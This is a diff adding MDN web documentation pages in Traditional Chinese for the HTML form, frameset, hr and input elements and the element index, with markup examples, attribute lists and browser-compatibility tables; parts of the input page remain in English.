+ <p>This value can be overridden by a {{htmlattrxref("formtarget", "button")}} attribute on a {{HTMLElement("button")}}, <code><a href="/en-US/docs/Web/HTML/Element/input/submit">&lt;input type="submit"&gt;</a></code>, or <code><a href="/en-US/docs/Web/HTML/Element/input/image">&lt;input type="image"&gt;</a></code> element.</p>
+ </dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;!-- Form which will send a GET request to the current URL --&gt;
+&lt;form&gt;
+  &lt;label&gt;Name:
+    &lt;input name="submitted-name" autocomplete="name"&gt;
+  &lt;/label&gt;
+  &lt;button&gt;Save&lt;/button&gt;
+&lt;/form&gt;
+
+&lt;!-- Form which will send a POST request to the current URL --&gt;
+&lt;form method="post"&gt;
+  &lt;label&gt;Name:
+    &lt;input name="submitted-name" autocomplete="name"&gt;
+  &lt;/label&gt;
+  &lt;button&gt;Save&lt;/button&gt;
+&lt;/form&gt;
+
+&lt;!-- Form with fieldset, legend, and label --&gt;
+&lt;form method="post"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Title&lt;/legend&gt;
+    &lt;label&gt;&lt;input type="radio" name="radio"&gt; Select me&lt;/label&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<p>{{ EmbedLiveSample('Examples', '100%', 110) }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-form-element', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-form-element', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.3', '&lt;form&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("html.elements.form")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms guide</a></li>
+ <li>Other elements that are used when creating forms: {{HTMLElement("button")}}, {{HTMLElement("datalist")}}, {{HTMLElement("fieldset")}}, {{HTMLElement("input")}},{{HTMLElement("keygen")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}}, {{HTMLElement("meter")}}, {{HTMLElement("optgroup")}}, {{HTMLElement("option")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, {{HTMLElement("select")}}, {{HTMLElement("textarea")}}.</li>
+ <li>Getting a list of the elements in the form: {{domxref("HTMLFormElement.elements")}}</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Form_Role">ARIA: Form role</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Search_role">ARIA: Search role</a></li>
+</ul>
diff --git a/files/zh-tw/web/html/element/frameset/index.html b/files/zh-tw/web/html/element/frameset/index.html
new file mode 100644
index 0000000000..e1668b035b
--- /dev/null
+++ b/files/zh-tw/web/html/element/frameset/index.html
@@ -0,0 +1,39 @@
+---
+title: <frameset>
+slug: Web/HTML/Element/frameset
+translation_of: Web/HTML/Element/frameset
+---
+<div>{{Deprecated_header}}</div>
+
+<h2 id="概要">概要</h2>
+
+<p><code>&lt;frameset&gt;</code> 是用以包含 {{HTMLElement("frame")}} 元素的元素。</p>
+
+<div class="note"><strong>注意：</strong>因為使用框架的推薦是 {{HTMLElement("iframe")}}，這個元素一般不會在現在的網站出現。</div>
+
+<h2 id="屬性">屬性</h2>
+
+<p>如同其他 HTML 元素，這個元素支持<a href="/zh-TW/HTML/Global_attributes" title="HTML/Global attributes">全域屬性</a>。</p>
+
+<dl>
+ <dt>{{htmlattrdef("cols")}}</dt>
+ <dd>這個屬性指定了橫向框架的數量和尺寸。</dd>
+ <dt>{{htmlattrdef("rows")}}</dt>
+ <dd>這個屬性指定了直向框架的數量和尺寸。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush:html">&lt;frameset cols="50%,50%"&gt;
+  &lt;frame src="https://developer.mozilla.org/en/HTML/Element/frameset" /&gt;
+  &lt;frame src="https://developer.mozilla.org/en/HTML/Element/frame" /&gt;
+&lt;/frameset&gt;</pre>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{HTMLElement("frame")}}</li>
+ <li>{{HTMLElement("iframe")}}</li>
+</ul>
+
+<p>{{HTMLRef}}</p>
diff --git a/files/zh-tw/web/html/element/hr/index.html b/files/zh-tw/web/html/element/hr/index.html
new file mode 100644
index 0000000000..219645e454
--- /dev/null
+++ b/files/zh-tw/web/html/element/hr/index.html
@@ -0,0 +1,168 @@
+---
+title: <hr>
+slug: Web/HTML/Element/hr
+tags:
+  - HTML
+  - 元素
+  - 參考
+translation_of: Web/HTML/Element/hr
+---
+<p>{{HTMLRef}}</p>
+
+<p><strong>HTML </strong>的<strong> <code>&lt;hr&gt;</code> 元素</strong>代表在段落層級的焦點轉換（如故事中的場景轉換或某個小節裡的主題移轉）。在之前的 HTML 版本，它代表著一條水平標線。在視覺瀏覽器裡，它現在可能還是以水平標線的型式呈現；但它已經被重新定義為一個語義上的用詞，而不是呈現上的。</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/zh-TW/docs/HTML/Content_categories">內容類型</a></th>
+   <td><a href="/zh-TW/docs/HTML/Content_categories#流內容（Flow_content）" title="HTML/Content categories#Flow content">流內容</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>否。這是個 {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">標籤省略</th>
+   <td>一定要有起始標籤、同時絕不能有結束標籤</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parent elements</th>
+   <td>任何允許<a href="/zh-TW/docs/HTML/Content_categories#流內容（Flow_content）" title="HTML/Content categories#Flow content">流內容</a>的元素。</td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLHRElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="屬性">屬性</h2>
+
+<p>這個元素支持<a href="https://developer.mozilla.org/zh-TW/docs/HTML/Global_attributes">全域屬性</a>。</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{deprecated_inline}}</dt>
+ <dd>設罝頁面上標線的對齊方式。如果沒有指定，預設值是：<code>left。</code></dd>
+ <dt>{{htmlattrdef("color")}} {{Non-standard_inline}}</dt>
+ <dd>用色彩名或16進位值設罝標線的顏色。</dd>
+ <dt>{{htmlattrdef("noshade")}} {{deprecated_inline}}</dt>
+ <dd>設置這個標線沒有陰影。</dd>
+ <dt>{{htmlattrdef("size")}} {{deprecated_inline}}</dt>
+ <dd>設置標線的高度，單位是 px。.</dd>
+ <dt>{{htmlattrdef("width")}} {{deprecated_inline}}</dt>
+ <dd>設置標線的長度，單位是 px；或者也可以用頁面寛度的百分比 (%)表示。</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<pre class="brush: html">&lt;p&gt;This is the first paragraph of text.
+This is the first paragraph of text.
+This is the first paragraph of text.
+This is the first paragraph of text.
+
+&lt;hr&gt;
+
+&lt;p&gt;This is second paragraph of text.
+This is second paragraph of text.
+This is second paragraph of text.
+This is second paragraph of text.
+</pre>
+
+<p>上面的 HTML會輸出：</p>
+
+<p>This is the first paragraph of text. This is the first paragraph of text. This is the first paragraph of text. This is the first paragraph of text.</p>
+
+<hr>
+<p>This is second paragraph of text. This is second paragraph of text. This is second paragraph of text. This is second paragraph of text.</p>
+
+<h2 id="Specifications" name="Specifications">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'grouping-content.html#the-hr-element', '&lt;hr&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Definition of the <code>hr</code> element</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'rendering.html#the-hr-element-0')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Suggested default rendering of the <code>hr</code> element</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-hr-element', '&lt;hr&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'present/graphics.html#h-15.3', '&lt;hr&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>The <code>align</code>, <code>noshade</code>, <code>size</code> and <code>width</code> attributes are deprecated</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">瀏覽器相容性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="參照_（see_also)">參照 （see also)</h2>
+
+<ul>
+ <li>{{HTMLElement('p')}}</li>
+</ul>
diff --git a/files/zh-tw/web/html/element/index.html b/files/zh-tw/web/html/element/index.html
new file mode 100644
index 0000000000..08312e3f17
--- /dev/null
+++ b/files/zh-tw/web/html/element/index.html
@@ -0,0 +1,106 @@
+---
+title: HTML 元素
+slug: Web/HTML/Element
+tags:
+  - Basic
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element
+---
+<div>{{HTMLSidebar("Elements")}}</div>
+
+<p><span class="seoSummary">本頁列出了所有 {{Glossary("HTML")}} 元素（{{Glossary("Element")}}），他們可以透過標籤（{{Glossary("Tags", "tags")}}）建立。</span>這些元素會以功能來分組，讓你更容易尋找。在本頁及每一個元素的頁面的側邊欄都提供了以英文字母排序的所有元素清單。</p>
+
+<div class="note">
+<p>更多關於基本 HTML 元素及屬性（attribute）可參考<a href="/zh-TW/docs/Web/Guide/HTML/Introduction#Elements_%E2%80%94_the_basic_building_blocks">HTML 介紹一文中的元素小節</a>。</p>
+</div>
+
+<h2 id="主要根元素">主要根元素</h2>
+
+<p>{{HTMLRefTable("HTML Root Element")}}</p>
+
+<h2 id="文件詮釋資料（metadata）">文件詮釋資料（metadata）</h2>
+
+<p>Metadata 是一些外部資料，不會被使用者看到。Metadata 記錄了頁面的訊息給其他軟體利用，像是瀏覽器會讀取 metadata 去決定這個頁面應該要使用哪種編碼顯示以避免亂碼。另外，有時候一個網頁的原始碼會被分散的檔案中，所以一個網頁的 Metameta 可以被定義在別份檔案中。</p>
+
+<p>{{HTMLRefTable("HTML Document Metadata")}}</p>
+
+<h2 id="Sectioning_root">Sectioning root</h2>
+
+<p>{{HTMLRefTable("Sectioning Root Element")}}</p>
+
+<h2 id="Content_sectioning">Content sectioning</h2>
+
+<p>Content sectioning elements allow you to organize the document content into logical pieces. Use the sectioning elements to create a broad outline for your page content, including header and footer navigation, and heading elements to identify sections of content.   </p>
+
+<p>{{HTMLRefTable("HTML Sections")}}</p>
+
+<h2 id="文字內容">文字內容</h2>
+
+<p>使用 HTML 文字內容元素，來組織放在 {{HTMLElement("body")}} 與 <code>&lt;/body&gt;</code> 之間的區塊或章節內容。這對 {{Glossary("Accessibility")}} 與 {{Glossary("SEO")}} 至關重要。這些元素確立了內容的目的或結構。</p>
+
+<p>{{HTMLRefTable("HTML Grouping Content")}}</p>
+
+<h2 id="行內文字語義化">行內文字語義化</h2>
+
+<p>Use the HTML inline text semantic to define the meaning, structure, or style of a word, line, or any arbitrary piece of text.</p>
+
+<p>{{HTMLRefTable("HTML Text-Level Semantics")}}</p>
+
+<h2 id="圖片與多媒體">圖片與多媒體</h2>
+
+<p>HTML supports various multimedia resources such as images, audio, and video.</p>
+
+<p>{{HTMLRefTable("multimedia")}}</p>
+
+<h2 id="嵌入內容">嵌入內容</h2>
+
+<p>In addition to regular multimedia content, HTML can include a variety of other content, even if it's not always easy to interact with.</p>
+
+<p>{{HTMLRefTable({"include":["HTML embedded content"], "exclude":["multimedia"]})}}</p>
+
+<h2 id="腳本">腳本</h2>
+
+<p>In order to create dynamic content and Web applications, HTML supports the use of scripting languages, most prominently JavaScript. Certain elements support this capability.</p>
+
+<p>{{HTMLRefTable("HTML Scripting")}}</p>
+
+<h2 id="Demarcating_edits">Demarcating edits</h2>
+
+<p>These elements let you provide indications that specific parts of the text have been altered.</p>
+
+<p>{{HTMLRefTable("HTML Edits")}}</p>
+
+<h2 id="表格">表格</h2>
+
+<p>The elements here are used to create and handle tabular data.</p>
+
+<p>{{HTMLRefTable("HTML tabular data")}}</p>
+
+<h2 id="表單">表單</h2>
+
+<p>HTML provides a number of elements which can be used together to create forms which the user can fill out and submit to the Web site or application. There's a great deal of further information about this available in the <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms guide</a>.</p>
+
+<p>{{HTMLRefTable({"include": ["HTML forms"], "exclude":["Deprecated"]})}}</p>
+
+<h2 id="互動元素">互動元素</h2>
+
+<p>HTML offers a selection of elements which help to create interactive user interface objects.</p>
+
+<p>{{HTMLRefTable("HTML interactive elements")}}</p>
+
+<h2 id="Web_Components">Web Components</h2>
+
+<p>Web Components is an HTML-related technology which makes it possible to, essentially, create and use custom elements as if it were regular HTML. In addition, you can create custom versions of standard HTML elements.</p>
+
+<p>{{HTMLRefTable({"include":["Web Components"],"elements":["shadow"]})}}</p>
+
+<h2 id="過時與棄用的元素">過時與棄用的元素</h2>
+
+<div class="warning">
+<p><strong>Warning:</strong> These are old HTML elements which are deprecated and should not be used. <strong>You should never use them in new projects, and should replace them in old projects as soon as you can.</strong> They are listed here for informational purposes only.</p>
+</div>
+
+<p>{{HTMLRefTable({"include":["Deprecated","Obsolete"]})}}</p>
diff --git a/files/zh-tw/web/html/element/input/index.html b/files/zh-tw/web/html/element/input/index.html
new file mode 100644
index 0000000000..6a3a936339
--- /dev/null
+++ b/files/zh-tw/web/html/element/input/index.html
@@ -0,0 +1,750 @@
+---
+title: <input>
+slug: Web/HTML/Element/input
+tags:
+  - Element
+  - Forms
+  - HTML
+  - HTML forms
+  - HTML input tag
+  - MakeBrowserAgnostic
+  - NeedsBrowserCompatibility
+  - NeedsMobileBrowserCompatibility
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web
+translation_of: Web/HTML/Element/input
+---
+<div>{{draft}}{{HTMLRef}}</div>
+
+<p>The <strong>HTML <code>&lt;input&gt;</code> element</strong> is used to create interactive controls for web-based forms in order to accept data from the user.</p>
+
+<h2 id="Live_example">Live example</h2>
+
+<p>To get an idea of how different the various <code>&lt;input&gt;</code> types look, try editing the value of the <code>type</code> attributes in the following editable live example; you'll see the output update as you type. In each case, the initial value (<code>text</code>) produces a basic text input, but you can try other values such as <code>number</code>, <code>color</code>, <code>checkbox</code>, <code>radio</code>, <code>date</code>, <code>file</code>, <code>month</code>, <code>password</code>, <code>range</code>, or <code>time</code>.</p>
+
+<p>{{EmbedGHLiveSample("learning-area/html/forms/editable-input-example/editable_input.html", '100%', 230)}}</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Content categories</a></th>
+   <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, listed, submittable, resettable, form-associated element, <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>. If the {{htmlattrxref("type", "input")}} is not <code>hidden</code>, then labellable element, palpable content.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted content</th>
+   <td>None, it is an {{Glossary("empty element")}}.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>Must have a start tag and must not have an end tag.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted parents</th>
+   <td>Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Permitted ARIA roles</th>
+   <td>
+    <ul>
+     <li><code>type=button</code>: {{ARIARole("link")}}, {{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}, {{ARIARole("tab")}}</li>
+     <li><code>type=checkbox</code>: {{ARIARole("button")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("option")}}, {{ARIARole("switch")}}</li>
+     <li><code>type=image</code>: {{ARIARole("link")}}, {{ARIARole("menuitem")}}, {{ARIARole("menuitemcheckbox")}}, {{ARIARole("menuitemradio")}}, {{ARIARole("radio")}}, {{ARIARole("switch")}}</li>
+     <li><code>type=radio</code>: {{ARIARole("menuitemradio")}}</li>
+     <li><code>type=color|date|datetime|datetime-local|email|file</code>: None</li>
+     <li><code>type=hidden|month|number|password|range|research</code>: None</li>
+     <li><code>type=search|submit|tel|text|url|week</code>: None</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row">DOM interface</th>
+   <td>{{domxref("HTMLInputElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Form_&lt;input>_types">Form <code>&lt;input&gt;</code> types</h2>
+
+<p>How an <code>&lt;input&gt;</code> works varies considerably depending on the value of its <code>type</code> attribute, hence the different types are covered in their own separate reference pages. If this attributes is not specified, the default type adopted type is <code>text</code>.</p>
+
+<p>The available types are as follows:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/button">button</a></code>: A push button with no default behavior.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/checkbox">checkbox</a></code>: A check box allowing single values to be selected/deselected.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/color">color</a></code>: {{HTMLVersionInline("5")}} A control for specifying a color. A color picker's UI has no required features other than accepting simple colors as text (<a href="https://www.w3.org/TR/html5/forms.html#color-state-(type=color)">more info</a>).</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/date">date</a></code>: {{HTMLVersionInline("5")}} A control for entering a date (year, month, and day, with no time).</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/datetime-local">datetime-local</a></code>: {{HTMLVersionInline("5")}} A control for entering a date and time, with no time zone.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/email">email</a></code>: {{HTMLVersionInline("5")}} A field for editing an e-mail address.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/file">file</a></code>: A control that lets the user select a file. Use the <strong>accept</strong> attribute to define the types of files that the control can select.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/hidden">hidden</a></code>: A control that is not displayed but whose value is submitted to the server.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/image">image</a></code>: A graphical submit button. You must use the <strong>src</strong> attribute to define the source of the image and the <strong>alt</strong> attribute to define alternative text. You can use the <strong>height</strong> and <strong>width</strong> attributes to define the size of the image in pixels.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/month">month</a></code>: {{HTMLVersionInline("5")}} A control for entering a month and year, with no time zone.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/number">number</a></code>: {{HTMLVersionInline("5")}} A control for entering a number.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/password">password</a></code>: A single-line text field whose value is obscured. Use the <strong>maxlength</strong> attribute to specify the maximum length of the value that can be entered.
+  <div class="note"><strong>Note</strong>: Any forms involving sensitive information like passwords (e.g. login forms) should be served over HTTPS; Firefox now implements multiple mechanisms to warn against insecure login forms — see <a href="/en-US/docs/Web/Security/Insecure_passwords">Insecure passwords</a>. Other browsers are also implementing similar mechanisms.</div>
+ </li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/radio">radio</a></code>: A radio button, allowing a single value to be selected out of multiple choices.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/range">range</a></code>: {{HTMLVersionInline("5")}} A control for entering a number whose exact value is not important.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/reset">reset</a></code>: A button that resets the contents of the form to default values.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/search">search</a></code>: {{HTMLVersionInline("5")}} A single-line text field for entering search strings. Line-breaks are automatically removed from the input value.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/submit">submit</a></code>: A button that submits the form.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/tel">tel</a></code>: {{HTMLVersionInline("5")}} A control for entering a telephone number. Line-breaks are automatically removed from the input value, but no other syntax is enforced. You can use attributes such as <strong>pattern</strong> and <strong>maxlength</strong> to restrict values entered in the control. The {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS pseudo-classes are applied as appropriate.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/text">text</a></code>: A single-line text field. Line-breaks are automatically removed from the input value.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/time">time</a></code>: {{HTMLVersionInline("5")}} A control for entering a time value with no time zone.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/url">url</a></code>: {{HTMLVersionInline("5")}} A field for editing a URL. The input value is validated to contain either the empty string or a valid absolute URL before submitting. You can use attributes such as <strong>pattern</strong> and <strong>maxlength</strong> to restrict values entered in the control. The {{cssxref(":valid")}} and {{cssxref(":invalid")}} CSS pseudo-classes are applied as appropriate.</li>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/week">week</a></code>: {{HTMLVersionInline("5")}} A control for entering a date consisting of a week-year number and a week number with no time zone.</li>
+</ul>
+
+<p>Some input types are now obsolete:</p>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/HTML/Element/input/datetime">datetime</a></code>: {{HTMLVersionInline("5")}} {{deprecated_inline}} {{obsolete_inline}} A control for entering a date and time (hour, minute, second, and fraction of a second) based on UTC time zone. <strong>This feature has been <a href="https://github.com/whatwg/html/issues/336">removed from WHATWG HTML.</a></strong></li>
+</ul>
+
+<h2 id="Attributes">Attributes</h2>
+
+<h3 id="Global_&lt;input>_attributes">Global <code>&lt;input&gt;</code> attributes</h3>
+
+<p>This section lists the attributes available to all form <code>&lt;input&gt;</code> types. Non-global attributes — and global attributes that behave differently when specified on different <code>&lt;input&gt;</code> types — are listed on those types' individual pages.</p>
+
+<div class="note">
+<p><strong>Note</strong>: This includes the <a href="/en-US/docs/Web/HTML/Global_attributes">global HTML attributes</a>.</p>
+</div>
+
+<dl>
+ <dt>{{htmlattrdef("type")}}</dt>
+ <dd>The type of control to render. See {{anch("Form &lt;input&gt; types")}} for the individual types, with links to more information about each.</dd>
+ <dt>{{htmlattrdef("accept")}}</dt>
+ <dd>If the value of the <strong>type</strong> attribute is <code>file</code>, then this attribute will indicate the types of files that the server accepts, otherwise it will be ignored. The value must be a comma-separated list of unique content type specifiers:
+ <ul>
+  <li>A file extension starting with the STOP character (U+002E). (e.g. .jpg, .png, .doc).</li>
+  <li>A valid MIME type with no extensions.</li>
+  <li><code>audio/*</code> representing sound files. {{HTMLVersionInline("5")}}</li>
+  <li><code>video/*</code> representing video files. {{HTMLVersionInline("5")}}</li>
+  <li><code>image/*</code> representing image files. {{HTMLVersionInline("5")}}</li>
+ </ul>
+ </dd>
+ <dt>{{htmlattrdef("accesskey")}} {{HTMLVersionInline(4)}} only, {{obsoleteGeneric("inline", "HTML5")}}</dt>
+ <dd>A single-character that the user can press to switch input focus to the control. This attribute is global in HTML5.</dd>
+ <dt>{{htmlattrdef("autocomplete")}} {{HTMLVersionInline("5")}}</dt>
+ <dd>This attribute indicates whether the value of the control can be automatically completed by the browser.</dd>
+ <dd>Possible values are:
+ <ul>
+  <li><code>off</code>: The user must explicitly enter a value into this field for every use, or the document provides its own auto-completion method. The browser does not automatically complete the entry.</li>
+  <li><code>on</code>: The browser is allowed to automatically complete the value based on values that the user has entered during previous uses, however <code>on</code> does not provide any further information about what kind of data the user might be expected to enter.</li>
+  <li><code>name</code>: Full name.</li>
+  <li><code>honorific-prefix: </code>Prefix or title (e.g. "Mr.", "Ms.", "Dr.", "Mlle").</li>
+  <li><code>given-name</code>: First name.</li>
+  <li><code>additional-name</code>: Middle name.</li>
+  <li><code>family-name</code>: Last name.</li>
+  <li><code>honorific-suffix</code>: Suffix (e.g. "Jr.", "B.Sc.", "MBASW", "II").</li>
+  <li><code>nickname</code></li>
+  <li><code>email</code></li>
+  <li><code>username</code></li>
+  <li><code>new-password</code>: A new password (e.g. when creating an account or changing a password).</li>
+  <li><code>current-password</code></li>
+  <li><code>organization-title</code>: Job title (e.g. "Software Engineer", "Senior Vice President", "Deputy Managing Director").</li>
+  <li><code>organization</code></li>
+  <li><code>street-address</code></li>
+  <li><code>address-line1</code>, <code>address-line2</code>, <code>address-line3</code>, <code>address-level4</code>, <code>address-level3</code>, <code>address-level2</code>, <code>address-level1</code></li>
+  <li><code>country</code></li>
+  <li><code>country-name</code></li>
+  <li><code>postal-code</code></li>
+  <li><code>cc-name</code>: Full name as given on the payment instrument.</li>
+  <li><code>cc-given-name</code></li>
+  <li><code>cc-additional-name</code></li>
+  <li><code>cc-family-name</code></li>
+  <li><code>cc-number</code>: Code identifying the payment instrument (e.g. the credit card number).</li>
+  <li><code>cc-exp:</code> Expiration date of the payment instrument.</li>
+  <li><code>cc-exp-month</code></li>
+  <li><code>cc-exp-year</code></li>
+  <li><code>cc-csc</code>: Security code for the payment instrument.</li>
+  <li><code>cc-type</code>: Type of payment instrument (e.g. Visa).</li>
+  <li><code>transaction-currency</code></li>
+  <li><code>transaction-amount</code></li>
+  <li><code>language</code>: Preferred language; a valid <a href="https://en.wikipedia.org/wiki/IETF_language_tag">BCP 47 language tag</a>.</li>
+  <li><code>bday</code>: birthday</li>
+  <li><code>bday-day</code></li>
+  <li><code>bday-month</code></li>
+  <li><code>bday-year</code></li>
+  <li><code>sex</code>: Gender identity (e.g. Female, Fa'afafine), free-form text, no newlines.</li>
+  <li><code>tel</code>: full telephone number, including country code
+   <ul>
+    <li>additional <code>tel</code> variants: <code>tel-country-code</code>, <code>tel-national</code>, <code>tel-area-code</code>, <code>tel-local</code>, <code>tel-local-prefix</code>, <code>tel-local-suffix</code>, <code>tel-extension</code></li>
+   </ul>
+  </li>
+  <li><code>url</code>: Home page or other Web page corresponding to the company, person, address, or contact information in the other fields associated with this field.</li>
+  <li><code>photo</code>: Photograph, icon, or other image corresponding to the company, person, address, or contact information in the other fields associated with this field.</li>
+ </ul>
+
+ <p>See the <a href="https://html.spec.whatwg.org/multipage/forms.html#autofill">WHATWG Standard</a> for more detailed information.</p>
+
+ <p>If the <strong>autocomplete</strong> attribute is not specified on an input element then the browser uses the <strong>autocomplete</strong> attribute value of the <code>&lt;input&gt;</code> element's form owner. The form owner is either the <code>form</code> element that this <code>&lt;input&gt;</code> element is a descendant of or the form element whose <strong>id</strong> is specified by the <strong>form</strong> attribute of the input element. For more information, see the {{htmlattrxref("autocomplete", "form")}} attribute in {{HTMLElement("form")}}.</p>
+
+ <p>The <strong>autocomplete</strong> attribute also controls whether Firefox will, unlike other browsers, <a href="https://stackoverflow.com/questions/5985839/bug-with-firefox-disabled-attribute-of-input-not-resetting-when-refreshing">persist the dynamic disabled state and (if applicable) dynamic checkedness</a> of an <code>&lt;input&gt;</code> across page loads. The persistence feature is enabled by default. Setting the value of the <strong>autocomplete</strong> attribute to <code>off</code> disables this feature. This works even when the <strong>autocomplete</strong> attribute would normally not apply to the <code>&lt;input&gt;</code> by virtue of its <strong>type</strong>. See {{bug(654072)}}.</p>
+
+ <p>For most modern browsers (including Firefox 38+, Google Chrome 34+, IE 11+), setting the <strong>autocomplete</strong> attribute will <em>not</em> prevent a browser's password manager from asking the user if they want to store login (username and password) fields and, if they agree, from autofilling the login the next time the user visits the page. See <a href="/en-US/docs/Web/Security/Securing_your_site/Turning_off_form_autocompletion#The_autocomplete_attribute_and_login_fields">the autocomplete attribute and login fields</a>.</p>
